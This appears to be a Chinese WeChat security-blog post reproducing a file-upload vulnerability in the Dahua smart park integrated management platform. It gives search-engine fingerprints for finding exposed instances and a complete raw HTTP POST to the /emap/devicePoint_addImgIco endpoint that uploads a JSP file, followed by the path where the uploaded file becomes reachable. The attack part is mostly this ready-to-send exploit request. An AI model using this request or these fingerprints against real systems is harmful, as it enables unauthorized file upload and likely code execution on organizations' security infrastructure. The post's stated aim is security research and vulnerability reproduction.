声明：该公众号分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。
现在只对常读和星标的公众号才展示大图推送，建议大家把Panda安全“设为星标”，否则可能看不到了.
0x00 前言
大华智慧园区综合管理平台之前爆出存在RCE漏洞，最近又爆出存在文件上传漏洞。
大华智慧园区综合管理平台是一款集成了视频监控、门禁管控、停车管理、楼宇自控等功能的智能化园区综合管理系统，旨在提高园区的安全性、便利性和智能化程度。用户可以通过PC端或移动端实时查看园区各项数据、监控画面等信息，并进行相应的管理和控制。
0x01 漏洞复现
网络空间测绘指纹：
body="/WPMS/asset/lib/normalize.css"body="WPMS/asset/lib/gridster/"
漏洞复现：
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTUser-Agent: Java/1.8.0_345Host: xx.xx.xx.xxAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 243Connection: close--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTContent-Disposition: form-data; name="upload"; filename="1ndex.jsp"Content-Type: application/octet-streamContent-Transfer-Encoding: binary123--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
http://xx.xx.xx.xx/upload/emap/society_new/ico_res_20e3cb288f08_on.jsp
原文始发于微信公众号（Panda安全）：大华智慧园区综合管理平台文件上传漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论